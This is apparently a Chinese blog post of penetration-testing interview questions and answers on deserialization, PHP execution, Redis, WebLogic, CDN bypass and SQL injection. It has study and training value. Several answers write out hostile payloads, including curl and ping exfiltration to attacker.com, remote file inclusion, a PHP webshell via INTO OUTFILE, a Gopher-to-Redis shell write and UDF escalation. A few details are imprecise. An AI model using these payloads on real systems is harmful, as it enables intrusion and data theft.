2025年渗透测试面试题总结-拷打题库33(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

2025年渗透测试面试题总结-拷打题库33

1. Shiro反序列化漏洞

2. PHP反序列化漏洞

3. FastJSON漏洞利用原理

4. PHP代码执行的危险函数

5. PHP命令执行函数

6. php://input与POST数据包区别

7. 常见中间件漏洞

8. Redis未授权访问漏洞

9. WebLogic权限绕过

10. 逻辑漏洞类型

11. 登录框渗透思路

12. CDN与DNS区别

13. CDN绕过思路

14. 命令无回显解决方案

15. XSS持久化控制

16. 文件包含Getshell

17. HttpOnly绕过

18. sqlmap --os-shell利用条件

19. sqlmap --os-shell原理

20. Linux日志目录

21. PHP %00截断原理

22. Sleep禁用后的SQL延时注入

23. phpMyAdmin写Shell方法

24. SSRF+Redis写Shell

25. UDF提权原理

26. 报错注入函数

27. 单引号被过滤的SQL注入

28. 逗号被过滤的SQL注入

2025年渗透测试面试题总结-拷打题库33

有没有了解过shrio反序列化?
PHP反序列化有了解吗?
fastjson漏洞利用原理?
PHP代码执行的危险函数?
PHP命令执行函数?
php伪协议input与post数据包发送有什么区别?
常见的中间件漏洞知道哪些
Redis 未授权访问漏洞
JBOSS 未授权访问漏洞
weblogic权限绕过?
逻辑漏洞遇到过哪些
给你登录框有没有什么思路?
CDN和DNS区别?
CDN绕过思路?
命令无回显如何解决?
在有shell的情况下,如何使用xss实现对目标站的长久控制?
文件包含Getshell思路?
httponly绕过?
sqlmap中--os-shell的利用条件?
sqlmap中--os-shell的原理?
sqlmap --os-shell原理详细分析
Linux日志目录?
php的%00截断的原理是什么?
sleep被禁用后还能怎么进行延时sql注入
phpmyadmin写sehll的方法?
ssrf怎么用redis写shell?
udf提取原理是什么
报错注入的函数有哪些?
SQL注入单引号被过滤怎么办?
SQL注入逗号被过滤了怎么办?
1. Shiro反序列化漏洞
  • 原理:Apache Shiro框架在反序列化Cookie时未严格验证数据来源,攻击者可通过构造恶意RememberMe Cookie触发反序列化漏洞(如CVE-2016-4437),利用AES加密密钥硬编码缺陷执行任意代码。
  • 利用条件
    • 目标使用Shiro且未修改默认密钥。
    • 存在可利用的反序列化链(如Commons-Collections库)。
  • 防御
    • 升级Shiro到1.2.5+版本并自定义AES密钥。
    • 禁用RememberMe功能或限制Cookie作用域。

2. PHP反序列化漏洞
  • 触发点unserialize()函数处理用户可控数据时,若类中存在危险魔术方法(如__destruct()__wakeup()),可导致对象注入。
  • 典型场景
    • 框架(如Laravel、ThinkPHP)的缓存、Session反序列化。
    • POP链构造:通过链式调用多个类的魔术方法实现RCE。
  • 防御
    • 使用json_encode()替代序列化。
    • 限制反序列化数据来源,校验数据签名。

3. FastJSON漏洞利用原理
  • 核心问题autoType特性允许反序列化任意类(CVE-2017-18349)。
  • 攻击方式
    • 构造恶意JSON触发JNDI注入(如@type指定com.sun.rowset.JdbcRowSetImpl ,利用LDAP/RMI协议加载远程类)。
    • 低版本绕过:通过特殊字符(如L;)闭合类名。
  • 修复
    • 升级到FastJSON 1.2.68+并关闭autoType
    • 使用安全模式(SafeMode)限制反序列化类。

4. PHP代码执行的危险函数
  • 高危函数
    • eval():直接执行字符串代码。
    • assert():在PHP 7.0前可执行代码。
    • preg_replace():使用/e修饰符时执行替换内容。
  • 防御
    • 禁用危险函数(disable_functions)。
    • 使用filter_var()或正则表达式过滤输入。

5. PHP命令执行函数
  • 函数列表
    • system():直接输出命令结果。
    • exec():返回最后一行输出。
    • shell_exec():通过反引号(`)执行命令。
  • 绕过技巧
    • 拼接字符:sy.'stem'`。
    • 环境变量:${PATH:0:1}代替/

6. php://input与POST数据包区别
  • php://input
    • 读取原始HTTP请求体(需allow_url_include=On)。
    • 可用于文件包含漏洞中传递代码。
  • POST数据
    • 数据存储在$_POST超全局变量中。
    • 适用于表单提交,无法直接传递二进制数据。

7. 常见中间件漏洞
  • IIS
    • 短文件名泄露、解析漏洞(如*.asp;.jpg)。
  • Apache
    • 换行解析漏洞(CVE-2017-15715)。
    • .htaccess配置错误导致目录遍历。
  • Nginx
    • 目录穿越(/%2f../)、错误配置反向代理。

8. Redis未授权访问漏洞
  • 利用方式
    • 写入SSH公钥:config set dir /root/.ssh/ + set x "\n\nssh-rsa ..."
    • Web目录写Shell:通过setsave命令生成.php文件。
  • 防御
    • 绑定IP限制访问(bind 127.0.0.1)。
    • 启用Redis密码认证。

9. WebLogic权限绕过
  • CVE-2020-14882
    • 构造URL绕过控制台权限验证:/console/css/%252e%252e%252fconsole.portal
    • 结合反序列化漏洞实现RCE。
  • 修复:升级补丁,限制访问路径。

10. 逻辑漏洞类型
  • 典型场景
    • 越权漏洞:水平越权(修改用户ID)、垂直越权(普通用户访问管理员接口)。
    • 支付漏洞:金额篡改(前端校验不严)、负数购买。
    • 验证码绕过:重复使用、时间窗口爆破。

11. 登录框渗透思路
  • 测试路径
    1. 弱口令爆破(Admin/Admin123)。
    2. SQL注入:' or 1=1-- -
    3. 密码重置漏洞:短信验证码回显、邮箱劫持。
    4. OAuth/SSO劫持:伪造回调URL。

12. CDN与DNS区别
  • CDN
    • 内容分发网络,缓存静态资源加速访问。
    • 隐藏真实IP,提供抗DDoS能力。
  • DNS
    • 域名解析服务,将域名转换为IP地址。
    • 无缓存加速功能,仅负责解析。

13. CDN绕过思路
  • 方法
    1. 查询历史DNS记录(如SecurityTrails)。
    2. 子域名扫描:部分子域名可能未接入CDN。
    3. 邮件服务器溯源:查看邮件头中的原始IP。
    4. 利用SSL证书信息匹配真实IP。

14. 命令无回显解决方案
  • 外带技术
    • DNS外带:ping $(whoami).attacker.com
    • HTTP请求:curl http://attacker.com/$(cat /etc/passwd|base64)
    • 延时盲注:通过time命令判断执行结果。

15. XSS持久化控制
  • 方法
    • 写入恶意JS到公共页面(如评论区)。
    • 劫持浏览器本地存储(LocalStorage)。
    • 利用DOM Clobbering污染全局变量。

16. 文件包含Getshell
  • 场景
    • 本地包含(LFI):上传图片马后包含解析。
    • 远程包含(RFI):include http://attacker.com/shell.txt
    • 伪协议利用:php://filter/convert.base64-encode/resource=index.php

17. HttpOnly绕过
  • 有限方法
    • XST(跨站追踪)攻击:结合TRACE方法获取Cookie。
    • 浏览器漏洞:利用CVE漏洞读取Cookie。
    • 会话固定攻击:强制用户使用已知Session ID。

18. sqlmap --os-shell利用条件
  • 前提
    • 数据库具有写权限(如secure_file_priv为空)。
    • 已知Web目录绝对路径。
    • 支持堆叠查询(如MSSQL、PostgreSQL)。

19. sqlmap --os-shell原理
  • 步骤
    1. 上传代理脚本(如/tmp/udf.php )。
    2. 通过数据库函数(如sys_exec())执行系统命令。
    3. 将命令结果写入Web目录文件,通过HTTP访问获取回显。

20. Linux日志目录
  • 关键路径
    • /var/log/auth.log :SSH登录日志。
    • /var/log/apache2/access.log :Apache访问记录。
    • /var/log/syslog:系统事件日志。

21. PHP %00截断原理
  • 场景:PHP 5.3.4前版本中,%00会被解析为字符串终止符,用于绕过文件后缀限制(如shell.php%00.jpg )。
  • 修复:升级PHP版本,禁用magic_quotes_gpc

22. Sleep禁用后的SQL延时注入
  • 替代方案
    • 利用heavy query:通过复杂查询消耗时间(如笛卡尔积)。
    • 条件判断+错误注入:if(1=1,benchmark(1000000,md5('a')),0)
    • 外带数据:结合DNS或HTTP请求。

23. phpMyAdmin写Shell方法
  • 步骤
    1. 执行SQL:SELECT '<?php @eval($_POST[1]);?>' INTO OUTFILE '/var/www/html/shell.php'
    2. 需要FILE权限和Web目录可写。
    3. 利用日志文件重定向(需secure_file_priv权限)。

24. SSRF+Redis写Shell
  • 流程
    1. 构造Gopher协议Payload:gopher://127.0.0.1:6379/_*3\r\n$3\r\nSET\r\n$1\r\nx\r\n$10\r\n<?php...?>
    2. 发送Redis命令设置dirdbfilename为Web路径。
    3. 触发SAVE命令写入Webshell。

25. UDF提权原理
  • 步骤
    1. 编译恶意UDF库(如lib_mysqludf_sys.so )。
    2. 通过SQL写入插件目录:SELECT binary 0x... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'
    3. 创建函数:CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.so'

26. 报错注入函数
  • 常用函数
    • extractvalue():XML解析错误泄露数据。
    • updatexml():与extractvalue类似。
    • exp():数值过大导致错误(需MySQL版本<5.5.53)。

27. 单引号被过滤的SQL注入
  • 绕过方法
    • 宽字节注入:利用GBK编码(如%bf%27)。
    • 数字型注入:直接操作数字参数(如id=1+1)。
    • 转义符绕过:\'被转义为\\'时构造\\ and 1=1-- -

28. 逗号被过滤的SQL注入
  • 替代方案
    • 使用JOIN代替UNION SELECT
    • SUBSTR替代语法:substr(database() from 1 for 1)
    • 分页绕过:limit 1 offset 1代替limit 1,1
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值